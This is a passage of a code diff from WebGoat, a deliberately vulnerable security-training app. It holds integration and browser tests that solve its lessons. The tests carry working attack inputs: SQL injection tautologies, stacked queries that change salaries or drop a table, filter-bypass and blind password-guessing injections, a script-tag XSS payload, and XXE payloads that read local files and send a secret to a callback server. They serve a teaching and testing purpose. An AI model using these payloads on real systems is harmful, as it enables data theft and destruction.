public static final String sql_4_add = "alter table employees add column phone varchar(20)";
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
public static final String sql_9_account = " ' ";
public static final String sql_9_operator = "or";
public static final String sql_9_injection = "'1'='1";
public static final String sql_10_login_count = "2";
public static final String sql_10_userid = "1 or 1=1";
public static final String sql_11_a = "Smith' or '1' = '1";
public static final String sql_11_b = "3SL99A' or '1'='1";
public static final String sql_12_a = "Smith";
public static final String sql_12_b =
"3SL99A' ; update employees set salary= '100000' where last_name='Smith";
public static final String sql_13 = "%update% '; drop table access_log ; --'";
@Test
public void runTests() {
startLesson("SqlInjection");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("query", sql_2);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack2"), params, true);
params.clear();
params.put("query", sql_3);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack3"), params, true);
params.clear();
params.put("query", sql_4_add);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack4"), params, true);
params.clear();
params.put("query", sql_5);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack5"), params, true);
params.clear();
params.put("operator", sql_9_operator);
params.put("account", sql_9_account);
params.put("injection", sql_9_injection);
checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5a"), params, true);
params.clear();
params.put("login_count", sql_10_login_count);
params.put("userid", sql_10_userid);
checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5b"), params, true);
params.clear();
params.put("name", sql_11_a);
params.put("auth_tan", sql_11_b);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack8"), params, true);
params.clear();
params.put("name", sql_12_a);
params.put("auth_tan", sql_12_b);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack9"), params, true);
params.clear();
params.put("action_string", sql_13);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack10"), params, true);
checkResults("SqlInjection");
}
}

View File

@ -0,0 +1,88 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.hamcrest.CoreMatchers.containsString;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SqlInjectionMitigations");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("field1", "getConnection");
params.put("field2", "PreparedStatement prep");
params.put("field3", "prepareStatement");
params.put("field4", "?");
params.put("field5", "?");
params.put("field6", "prep.setString(1,\"\")");
params.put("field7", "prep.setString(2,\\\"\\\")");
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10a"), params, true);
params.put(
"editor",
"try {\r\n"
+ " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
+ " PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
+ " = ?\");\r\n"
+ " prep.setString(1,\"me\");\r\n"
+ " prep.execute();\r\n"
+ " System.out.println(conn); //should output 'null'\r\n"
+ "} catch (Exception e) {\r\n"
+ " System.out.println(\"Oops. Something went wrong!\");\r\n"
+ "}");
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10b"), params, true);
params.clear();
params.put(
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidation/attack"), params, true);
params.clear();
params.put(
"userid_sql_only_input_validation_on_keywords",
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidationOnKeywords/attack"), params, true);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(
webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+ " else id end)"))
.then()
.statusCode(200);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=unknown"))
.then()
.statusCode(500)
.body(
"trace",
containsString(
"select id, hostname, ip, mac, status, description from SERVERS where status <>"
+ " 'out of order' order by"));
params.clear();
params.put("ip", "104.130.219.202");
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack12a"), params, true);
checkResults("SqlInjectionMitigations");
}
}

View File

@ -0,0 +1,81 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.RestAssured;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class WebWolfIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("WebWolfIntroduction");
// Assignment 3
Map<String, Object> params = new HashMap<>();
params.put("email", this.getUser() + "@webgoat.org");
checkAssignment(webGoatUrlConfig.url("WebWolf/mail/send"), params, false);
String responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail"))
.then()
.extract()
.response()
.getBody()
.asString();
String uniqueCode = responseBody.replace("%20", " ");
uniqueCode =
uniqueCode.substring(
21 + uniqueCode.lastIndexOf("your unique code is: "),
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(webGoatUrlConfig.url("WebWolf/mail"), params, true);
// Assignment 4
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(webGoatUrlConfig.url("WebWolf/landing/password-reset"))
.then()
.statusCode(200);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.queryParams(params)
.get(webWolfUrlConfig.url("landing"))
.then()
.statusCode(200);
responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
assertTrue(responseBody.contains(uniqueCode));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(webGoatUrlConfig.url("WebWolf/landing"), params, true);
checkResults("WebWolfIntroduction");
}
}

View File

@ -0,0 +1,120 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class XSSIntegrationTest extends IntegrationTest {
@Test
public void crossSiteScriptingAssignments() {
startLesson("CrossSiteScripting");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("checkboxAttack1", "value");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack1"), params, true);
params.clear();
params.put("QTY1", "1");
params.put("QTY2", "1");
params.put("QTY3", "1");
params.put("QTY4", "1");
params.put("field1", "<script>alert('XSS+Test')</script>");
params.put("field2", "111");
checkAssignmentWithGet(webGoatUrlConfig.url("CrossSiteScripting/attack5a"), params, true);
params.clear();
params.put("DOMTestRoute", "start.mvc#test");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack6a"), params, true);
params.clear();
params.put("param1", "42");
params.put("param2", "24");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract()
.path("output");
String secretNumber = result.substring("phoneHome Response is ".length());
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/dom-follow-up"), params, true);
params.clear();
params.put(
"question_0_solution",
"Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
+ " the browser does not know that the script is malicious.");
params.put(
"question_1_solution",
"Solution 3: The data is included in dynamic content that is sent to a web user without"
+ " being validated for malicious content.");
params.put(
"question_2_solution",
"Solution 1: The script is permanently stored on the server and the victim gets the"
+ " malicious script when requesting information from the server.");
params.put(
"question_3_solution",
"Solution 2: They reflect the injected script off the web server. That occurs when input"
+ " sent to the web server is part of the request.");
params.put(
"question_4_solution",
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+ " the browser executes.");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/quiz"), params, true);
params.clear();
params.put(
"editor",
"<%@ taglib uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\" %>"
+ "<html>"
+ "<head>"
+ "<title>Using GET and POST Method to Read Form Data</title>"
+ "</head>"
+ "<body>"
+ "<h1>Using POST Method to Read Form Data</h1>"
+ "<table>"
+ "<tbody>"
+ "<tr>"
+ "<td><b>First Name:</b></td>"
+ "<td>${e:forHtml(param.first_name)}</td>"
+ "</tr>"
+ "<tr>"
+ "<td><b>Last Name:</b></td>"
+ "<td>${e:forHtml(param.last_name)}</td>"
+ "</tr>"
+ "</tbody>"
+ "</table>"
+ "</body>"
+ "</html>");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack3"), params, true);
params.clear();
params.put(
"editor2",
"Policy.getInstance(\"antisamy-slashdot.xml\");"
+ "Sammy s = new AntiSamy();"
+ "s.scan(newComment,\"\");"
+ "CleanResults();"
+ "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack4"), params, true);
checkResults("CrossSiteScripting");
}
}

View File

@ -0,0 +1,121 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import org.junit.jupiter.api.Test;
public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String xxe4 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
""";
private static final String xxe7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
""";
private String webGoatHomeDirectory;
// TODO fix me
// /*
// * This test is to verify that all is secure when XXE security patch is applied.
// */
// @Test
// public void xxeSecure() throws IOException {
// startLesson("XXE");
// webGoatHomeDirectory = webGoatServerDirectory();
// RestAssured.given()
// .when()
// .relaxedHTTPSValidation()
// .cookie("JSESSIONID", getWebGoatCookie())
// .get(url("service/enable-security.mvc"))
// .then()
// .statusCode(200);
// checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
// checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
// checkAssignment(
// url("xxe/blind"),
// ContentType.XML,
// "<comment><text>" + getSecret() + "</text></comment>",
// false);
// }
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
*/
private String getSecret() {
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String webWolfCallback = webWolfUrlConfig.url("landing");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfCallback).replace("SECRET", secretFile);
// upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
// upload attack
String xxe7String =
xxe7.replace("WEBWOLFURL", webWolfUrlConfig.url("files"))
.replace("USERNAME", this.getUser());
checkAssignment(webGoatUrlConfig.url("xxe/blind"), ContentType.XML, xxe7String, false);
// read results from WebWolf
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result =
result.substring(
result.lastIndexOf("WebGoat 8.0 rocks... ("),
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
checkAssignment(webGoatUrlConfig.url("xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(webGoatUrlConfig.url("xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(
webGoatUrlConfig.url("xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
true);
checkResults("XXE");
}
}

View File

@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
class LoginUITest extends PlaywrightTest {
@Test
void loginLogout(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
// logout
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("")).click();
page.getByRole(AriaRole.MENUITEM, new Page.GetByRoleOptions().setName("Logout")).click();
assertThat(loginPage.getSignInButton()).isVisible();
}
}

View File

@ -0,0 +1,42 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.junit.Options;
import com.microsoft.playwright.junit.OptionsFactory;
import com.microsoft.playwright.junit.UsePlaywright;
import org.owasp.webgoat.ServerUrlConfig;
@UsePlaywright(PlaywrightTest.WebGoatOptions.class)
public class PlaywrightTest {
private static final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
private static final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
public static class WebGoatOptions implements OptionsFactory {
@Override
public Options getOptions() {
return new Options()
.setHeadless(true)
.setContextOptions(getContextOptions());
}
}
protected static Browser.NewContextOptions getContextOptions() {
return new Browser.NewContextOptions()
.setLocale("en-US")
.setBaseURL(webGoatUrlConfig.getBaseUrl());
}
public static String webGoatUrl(String path) {
return webGoatUrlConfig.url(path);
}
public static String webWolfURL(String path) {
return webWolfUrlConfig.url(path);
}
}

View File

@ -0,0 +1,48 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static org.assertj.core.api.Assertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
public class RegistrationUITest extends PlaywrightTest {
@Test
@DisplayName("Should register a new user while logged in as other user")
void registerWhileLoggedIn(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
var newUsername = "newuser" + System.currentTimeMillis();
var password = "password123";
var registrationPage = new RegistrationPage(page);
registrationPage.open();
registrationPage.register(newUsername, password);
assertThat(page.content()).contains(newUsername);
}
@Test
@DisplayName("Should register a new user")
void registerNewUser(Browser browser) {
var page = browser.newContext(new Browser.NewContextOptions().setLocale("en-US")).newPage();
var registrationPage = new RegistrationPage(page);
registrationPage.open();
var newUsername = "newuser" + System.currentTimeMillis();
var password = "password123";
registrationPage.register(newUsername, password);
assertThat(page.content()).contains(newUsername);
}
}

View File

@ -0,0 +1,65 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.helpers;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import lombok.Getter;
import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
/**
* Helper class to authenticate users in WebGoat and WebWolf.
*
* <p>It provides two users: sylvester and tweety. The users are authenticated by logging in to
* WebGoat and WebWolf. Once authenticated, the user's authentication token is stored in the browser
* and reused for subsequent requests.
*/
public class Authentication {
public record User(String name, String password, String auth) {
boolean loggedIn() {
return auth != null;
}
}
@Getter private static User sylvester = new User("sylvester", "sylvester", null);
@Getter private static User tweety = new User("tweety", "tweety", null);
public static Page sylvester(Browser browser) {
User user = login(browser, sylvester);
return browser.newContext(new Browser.NewContextOptions().setLocale("en-US").setStorageState(user.auth)).newPage();
}
public static Page tweety(Browser browser) {
User user = login(browser, tweety);
return browser.newContext(new Browser.NewContextOptions().setLocale("en-US").setStorageState(user.auth)).newPage();
}
private static User login(Browser browser, User user) {
if (user.loggedIn()) {
return user;
}
var page = browser.newContext(new Browser.NewContextOptions().setLocale("en-US")).newPage();
RegistrationPage registrationPage = new RegistrationPage(page);
registrationPage.open();
registrationPage.register(user.name, user.password);
WebGoatLoginPage loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(user.name, user.password);
assertThat(loginPage.getSignInButton()).not().isVisible();
WebWolfLoginPage webWolfLoginPage = new WebWolfLoginPage(page);
webWolfLoginPage.open();
webWolfLoginPage.login(user.name, user.password);
assertThat(loginPage.getSignInButton()).not().isVisible();
return new User(user.name, user.password, page.context().storageState());
}
}

View File

@ -0,0 +1,84 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.lessons;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.*;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.lessons.HttpBasicsLessonPage;
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
public class HttpBasicsLessonUITest extends PlaywrightTest {
private HttpBasicsLessonPage lessonPage;
@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("HttpBasics");
var page = Authentication.sylvester(browser);
this.lessonPage = new HttpBasicsLessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}
@Test
@Order(1)
void shouldShowDefaultPage() {
assertThat(lessonPage.getTitle()).hasText("HTTP Basics");
Assertions.assertThat(lessonPage.noAssignmentsCompleted()).isTrue();
Assertions.assertThat(lessonPage.numberOfAssignments()).isEqualTo(2);
}
@Test
@Order(2)
@DisplayName(
"When the user enters their name, the server should reverse it then the assignment should be"
+ " solved")
void solvePage2() {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("John Doe");
lessonPage.getGoButton().click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("The server has reversed your name: eoD nhoJ");
Assertions.assertThat(lessonPage.isAssignmentSolved(2)).isTrue();
}
@Test
@Order(3)
@DisplayName("When the user enters nothing then the server should display an error message")
void invalidPage2() {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("");
lessonPage.getGoButton().click();
assertThat(lessonPage.getAssignmentOutput()).containsText("Try again, name cannot be empty.");
}
@Test
@Order(4)
@DisplayName(
"Given Sylvester solves the first assignment when Tweety logs in then the first assignment should NOT be solved")
void shouldNotSolvePage1(Browser browser) {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("John Doe");
lessonPage.getGoButton().click();
var tweetyLessonPage = new HttpBasicsLessonPage(Authentication.tweety(browser));
tweetyLessonPage.open(new LessonName("HttpBasics"));
Assertions.assertThat(tweetyLessonPage.noAssignmentsCompleted()).isTrue();
}
}

View File

@ -0,0 +1,120 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.lessons;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.Page.GetByRoleOptions;
import com.microsoft.playwright.options.AriaRole;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.lessons.LessonPage;
public class SqlInjectionAdvancedUITest extends PlaywrightTest {
private LessonPage lessonPage;
@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("SqlInjectionAdvanced");
var page = Authentication.sylvester(browser);
this.lessonPage = new LessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}
@Test
@DisplayName("Login as Tom with incorrect password")
void loginAsTomWithIncorrectPassword() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Login")).click();
page.locator("[name='username_login']").fill("tom");
page.locator("[name='password_login']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Log In")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("Wrong username or password. Try again.");
}
@Test
@DisplayName("Login as Tom with correct password")
void loginAsTomWithCorrectPassword() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Login")).click();
page.locator("[name='username_login']").fill("tom");
page.locator("[name='password_login']").fill("thisisasecretfortomonly");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Log In")).click();
lessonPage.isAssignmentSolved(5);
}
@Test
@DisplayName("Register as Tom should show error that Tom already exists")
void registerAsTomShouldDisplayError() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput()).containsText("User tom already exists");
}
@Test
@DisplayName(
"Using SQL Injection to register as Tom to guess the password and the guess is correct")
void startGuessingCorrect() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom' AND substring(password,1,1)='t");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("User tom' AND substring(password,1,1)='t already exists");
}
@Test
@DisplayName(
"Using SQL Injection to register as Tom to guess the password and the guess is incorrect")
void startGuessingIncorrect() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom' AND substring(password,1,1)='a");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText(
"User tom' AND substring(password,1,1)='a created, please proceed to the login page.");
}
@Test
@DisplayName("Should display correct hints")
void shouldDisplayCorrectHints() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Show hints")).click();
assertThat(lessonPage.getAssignmentOutput()).containsText("Look at the different");
}
}

View File

@ -0,0 +1,36 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
public class RegistrationPage {
private final Page page;
@Getter private final Locator signUpButton;
public RegistrationPage(Page page) {
this.page = page;
this.signUpButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign up"));
}
public void open() {
page.navigate(webGoatUrl("registration"));
}
public void register(String username, String password) {
page.getByPlaceholder("Username").fill(username);
page.getByLabel("Password", new Page.GetByLabelOptions().setExact(true)).fill(password);
page.getByLabel("Confirm password").fill(password);
page.getByLabel("Agree with the terms and").check();
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Sign up")).click();
}
}

View File

@ -0,0 +1,33 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import lombok.Getter;
public class WebGoatLoginPage {
private final Page page;
@Getter private final Locator signInButton;
public WebGoatLoginPage(Page page) {
this.page = page;
this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in"));
}
public void open() {
page.navigate(webGoatUrl("login"));
}
public void login(String username, String password) {
page.getByPlaceholder("Username").fill(username);
page.getByPlaceholder("Password").fill(password);
page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in")).click();
}
}

View File

@ -0,0 +1,28 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages.lessons;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
@Getter
public class HttpBasicsLessonPage extends LessonPage {
private final Locator enterYourName;
private final Locator goButton;
public HttpBasicsLessonPage(Page page) {
super(page);
enterYourName = page.locator("input[name=\"person\"]");
goButton = page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Go!"));
}
public Locator getTitle() {
return getPage()
.getByRole(AriaRole.HEADING, new Page.GetByRoleOptions().setName("HTTP Basics"));
}
}

View File

@ -0,0 +1,72 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages.lessons;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
import org.assertj.core.api.Assertions;
import org.owasp.webgoat.container.lessons.LessonName;
@Getter
public class LessonPage {
private final Page page;
public LessonPage(Page page) {
this.page = page;
}
public void navigateTo(int pageNumber) {
page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("" + pageNumber)).click();
}
public void open(LessonName lessonName) {
page.navigate(webGoatUrl("start.mvc#lesson/%s".formatted(lessonName.lessonName())));
}
/**
* Force a reload for the UI to response, this is normally done by a JavaScript reloading every 5
* seconds
*/
public void refreshPage() {
page.reload();
}
public void resetLesson(LessonName lessonName) {
Assertions.assertThat(
page.request()
.get(webGoatUrl("service/restartlesson.mvc/%s".formatted(lessonName)))
.ok())
.isTrue();
refreshPage();
}
public int numberOfAssignments() {
return page.locator(".attack-link.solved-false").count()
+ page.locator(".attack-link.solved-true").count();
}
public boolean isAssignmentSolved(int pageNumber) {
var solvedAssignments = page.locator(".attack-link.solved-true");
solvedAssignments.waitFor();
